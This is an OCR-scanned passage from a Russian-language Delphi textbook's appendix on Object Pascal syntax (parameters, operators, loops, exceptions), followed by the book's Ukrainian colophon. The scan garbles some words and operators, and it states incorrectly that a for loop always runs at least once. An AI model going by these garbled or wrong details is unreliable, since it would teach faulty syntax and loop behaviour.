Те параметры, перед которыми при объявлении указано ключевоеслово var, называются параметрами, передаваемыми по ссылке. Этоозначает, что к значению этого параметра сохраняется доступ и послевыхода из функции или процедуры. Такие параметры можно использо-вать для возврата результата в процедурах или возврата более одногорезультата в функциях.
Для параметра, указанного в списке последним, можно определитьзначение по умолчанию. Это означает, что при вызове процедуры илифункции эти параметры можно не передавать.
Если в качестве параметра передается массив, то размерность мас-сива в заголовке процедуры или функции не указывается.
Вызов процедур и функций
Процедуры и функции вызываются по их названию с указанием в
s := IntToStr(i); //вызов функции IntToStr
delete (s, 1, 2); {вызов процедуры delete, которая удаляет изстроки s два символа, начиная с первого.В данном случае, переменная s являетсяпараметром, передаваемым по ссылке}
Если в процедуру или функцию не передаются никакие параметры(как во многих методах объектов), то вызов осуществляется только по
//вызов метода (процедуры) Click//вызов функции GetCurrentDir
Досрочный выход из процедуры или функции
Для досрочного выхода из процедуры или функции в ее теле следу-ет указать вызов процедуры Exit .
ОператорыОператор — это конструкция языка Object Pascal, выполняющая
определенную операцию. Все операторы можно разбить на несколькокатегорий.
Операторы 209
Оператор присваивания
Слева от оператора присваивания : = указывается переменная илисвойство объекта, а справа — некоторое значение или выражение. Типзначения или результат выражения должен соответствовать типу пере-менной или свойства.
Арифметические операторы
Арифметические операторы возвращают значения, соответствую-щие типам числовых операндов:
• + — сложение;• вычитание;• * — умножение;• / — деление чисел с плавающей запятой;• div — целочисленное деление с отбрасыванием остатка;• mod — получение остатка от целочисленного деления.
Булевы операторы
Булевы операторы возвращают значения типа Boolean:• not — отрицание;• and — логическое "И";• or — логическое "ИЛИ";• хог — логическое исключающее "ИЛИ".
Операторы сравнения
Операторы сравнения возвращают значение типа Boolean:• = — равно;• <> — не равно;• < — меньше;• > — больше;• <= — меньше или равно;• >= — больше или равно.
Побитовые операторы
Побитовые операторы выполняют действия с операндами с учетомих двоичного представления:
• not — побитовое отрицание (not 0 = 1; not I = 0);• and — побитовое умножение (0 and N = 0; 1 and 1 = 1);
210 Язык Object Pascal
• or — побитовое сложение (1 or N = 1; 0 or 0 = 0);• xor — побитовое исключающее сложение (0 xor 0 = 0; 0
xor 1 = 1; 1 xor 1 = 0);• sh l — побитовый сдвиг влево;• shr — побитовый сдвиг вправо.
Строковые операторы
Строковые операторы применяются к операндам строкового илисимвольного типа:
- • =, о , <, >, <=, >= — операторы сравнения;• + — оператор конкатенации (слияния операндов).
Операторы, применяемые к множествам
К множествам применяются следующие операторы:• + — объединение (результат — множество);• вычитание (результат — множество);• * — пересечение (результат — множество);• <= — подмножество (результат — множество);• >= — супермножество (результат — множество);• = — равенство (результат — значение типа Boolean);• о — неравенство (результат — значение типа Boolean);• in — вхождение множества, указанного слева от оператора,
во множество, указанное справа (результат — значение типаBoolean).
Операторы, применяемые с объектами
С объектами применяют следующие операторы:• as — приведение к производному классу. Пример использо-
вания:var Obj: TObject; //объект класса TObject
with Obj as TButton do //приводим к классу TButtonCaption := 'Кнопка'; //то же, что Obj.Caption
i s — сравнение с классом. Пример использования:var Obj: TObject; //объект класса TObject
if Obj is TButton then //если Obj - объект класса
//TButton, то...
Obj.Caption := 'Кнопка';
Блоки программного кода 211
• =, <> — операторы сравнения.
Группировка операторов
Операторы можно группировать, заключая их в круглые скобки.
Порядок выполнения операторов
В сложных выражениях операторы выполняются в следующем по-рядке:
1. ( )•
2. not.
3. *, /, div, mod, and, shl, shr, as.
4. +, -, or, xor.
5. =, <>, <, >, <=, >=, in, is.
Блоки программного кодаДва и более операторов присваивания, а также вызовов процедур
или функций можно выделять в блоки программного кода при помощиключевых слов begin и end. Такие блоки используются в конструкцииwith-do, а также в рассматриваемых ниже циклических конструкциях иконструкциях ветвления.
Конструкции ветвленияКонструкции ветвления осуществляют переход к одному из блоков
программного кода на основании проверки некоторого условия. К нимотносятся операторы i f и case.
Оператор if
Оператор i f имеет синтаксис двух видов:if выражение then блок^кода;if выражение then блок_кода else блок_кода;
Если выражение возвращает значение True, то выполняется блоккода, расположенный после ключевого слова then, в противном случаевыполняется или программный код, расположенный после конструкцииi f - t h e n (в случае отсутствия ветки else), или же код, расположенныйпосле ключевого слова e l s e . i
212 Язык Object Pascal
Оператор case
Конструкция case используется для ветвления, когда может суще-ствовать более двух возможных результатов условного выражения.
Она также имеет синтаксис двух видов:case выражение of
значение!: блок_кода1;
значением: блок_кодаЫ;
end;
илиcase выражение of
значение!: блок_кодаЫ;
значением-. блок_кодаЫ;
else блок_кода;
end;
Если результат выражения совпадает со значением!, то выполня-ется блок^кода!; если со значением2 — 6лок_кода2 и т.д. Если ре-зультат выражения не совпадает ни с одним значением, то выполняетсяблок кода в ветке e l se , а при ее отсутствии — код после ключевогослова end, завершающего конструкцию case.
ПримечаниеРезультат выражения, который сопоставляется со значениями в ветках конструк-ции c a s e , может быть только целочисленного или символьного типа.
Циклические конструкцииДля организации циклического выполнения программных блоков в
языке Object Pascal используют циклические конструкции трех типов:for-do, while-do и r e p e a t - u n t i l . Они отличаются характером нача-ла и завершения цикла.
Конструкция for-do
Синтаксис конструкции for-do для цикла с увеличением значениясчетчика:
for идентификатор_счетчика := начальное_значение
Обработка исключений 213
to конечное_эначение
do блок_кода;
Синтаксис конструкции f or-do для цикла с уменьшением значениясчетчика:
for идентификатор_счетчика := начальное_значение
downto конечное__значение
do блок_кода;
Выход из цикла for определяется достижениям некоторого значе-ния специальной переменной, называемой счетчиком цикла. Цикл вы-полняется как минимум один раз.
Конструкция vhile-do
Синтаксис конструкции while-do:while выражение do блок_кода;
Выход из цикла while-do происходит в том случае, если выраже-ние, расположенное между ключевыми словами while и do, дает значе-ние False. Цикл может не выполниться ни одного раза.
Конструкция repeat-until
Синтаксис конструкции repeat-unti l :repeat блок_кода unt i l выражение;
Выход из цикла r e p e a t - u n t i l происходит в том случае, если вы-ражение, расположенное после ключевого слова u n t i l , дает значениеTrue.
Досрочный выход из циклов
Для досрочного выхода из циклов используются процедуры Breakи Continue. Процедура Break прерывает цикл, а в результате вызовапроцедуры Continue пропускается блок кода, расположенный междуею и окончанием тела цикла, и выполняется следующая итерация.
Обработка исключенийИсключение (exception) — это результат выполнения некорректно-
го оператора, что привело к возникновению ошибки. В языке ObjectPascal для обработки исключений предназначена специальная конст-рукция:
214 Язык Object Pascal
—II try
//Операторы, которые могут привести к возникновению исклю-
• чения
! except
//Операторы, выполняемые в случае возникновения исключения
< end;
В случае возникновения исключения б блоке операторов, располо-женных между ключевыми словами t r y и except, управление переда-ется блоку операторов после слова except, где можно определить реак-цию на возникшую ошибку.
В частности, в блоке except можно обрабатывать исключения в за-висимости от их типа с помощью конструкцииj except
on Тип_исключения1 do Блок_операторов1;
on Тип_исключения2 do Блок_операторов2;
on Тип_исключенияЫ do Блок__операторовЫ;
end;
Типу исключения соответствует имя класса, производного от классаException. В отличие от других классов Delphi, имена классов исклю-чений начинаются к латинской буквы "Е". Перечислим некоторые изэтих классов:
• EZeroDivide — деление на ноль;• EAccessViolation — ошибка доступа к памяти;• ERangeError — выход значения за границы допустимого
диапазона;• EStackOverflow — переполнение стека памяти из-за слиш-
ком больших переменных или чрезмерно большого количест-во рекурсивных вызовов процедур (вызов процедуры самойсебя);
• EConvertError — ошибка преобразования (например, стро-ки в число);
• EDatabaseError — ошибка при работе с базой данных;• EOutOfMemory — переполнение памяти;• EFCreateError — ошибка создания файла;• E F i l e r E r r o r — ошибка чтения/записи при работе с файлом;• EFOpenError — ошибка открытия файла;• EIniFi leExcept ion — ошибка при работе с INI-файлом;• EInOutError — ошибка ввода-вывода.
Обработка исключений 215
Если тип исключения точно неизвестен, то для его обработки мож-но воспользоваться следующей конструкцией: _____; except
on E: Exception do Бмок_операторов;end;
При этом в блоке операторов после ключевого слова do можно об-ращаться к свойству Е.Message, которое содержит строку с описаниемошибки.
Блок операторов finally
Существует еще одна конструкция, связанная с обработкой исклю-
ченийк_ _ _ _ _ _ _ _ „ _ _ _ _ _ _try
//Операторы, которые могут привести к возникновению//исключения
finally//Операторы, которые выполняются при любых условиях
end;
Блок операторов после ключевого слова f i n a l l y выполняетсяв любом случае, независимо от того, возникло исключение в блоке t r yили нет.
ББК 32.973.26-018.1УДК 681.3.06
П18
Парижський С. М.П18 Delphi. Вчимося на прикладах/Пщ ред. Ю. О. Шпака - К.: "МК-
Прес", 2005.-216с, \п.
ISBN 966-8806-02-6
Ця книга — продовження попередньоТ книги автора, "Delphi. Ильки практика". Як iв "Delphi. "Пльки практика", в цьому виданж детально розглянуто програми для мереж,pi3HOMaHiTHi жарт1влив1 програми, прост! irpauiKn, деяю KopncHi приклади, розробка програмв CTHni Windows XP. Зокрема, тут можна знайти таю приклади як безкоштовна выправкаSMS, FTP-Miiem", просте шифрування, CGI-сценарм та багато Ышого. Описан|' методироботи з системним реестром Windows та INI-файлами, а також деяю важлив! аспектипрограмування на системному piBHi i3 застосуванням функц!й Windows API. Дляполегшення розумЫня програм кожний приклад мютить коментар1 складних рядюв коду.
Книга ор1ентована як на тих, хто вже мае досвщ створення програм в Delphi, так i напрограмюта-початювцчв Для тих хто ттьки починае використовувати Delphi, наприюнцчкниги е додаток з описом синтаксису мови програмування Object Pascal.
ББК 32.973.26-018.1
Парижський Серий Михайлович
DelphiВЧИМОСЯ НА ПРИКЛАДАХ
Головнип редактор: Ю. О. ШпакКомп'ютерна верстка: Ю. О. Шпак
Пщписано до друку 11.07.2005. Формат 60 х 84 1/16.flanip газетний. Друк офсетний. Ум. друк. л. 12,6. Обл.-вид. л. 6,9.
Тираж 2000 екз. Замовлення № 5-1212
ПП Савченко Л.О., УкраТна, м.КиТв, тел./ф.: (044) 517-73-77; e-mail: [email protected].Свщоцтво про внесения суб'екта видавничоТ справи до Державного реестру видавниюв,
вигот1вник1в та розповсюджувач1в видавничо!' продукцм: сер1я ДК №51582 вщ 28.11.2003р.
Надруковано в ЗАТ"В1ПОЛ". 03151, м.КиТв, аул. Волинська, 60
© Парижський С. М., текст, тюстрацм, 2005ISBN 966—8806—02—6 © "МК-Прес", оформления, дизайн обкладинки, 2005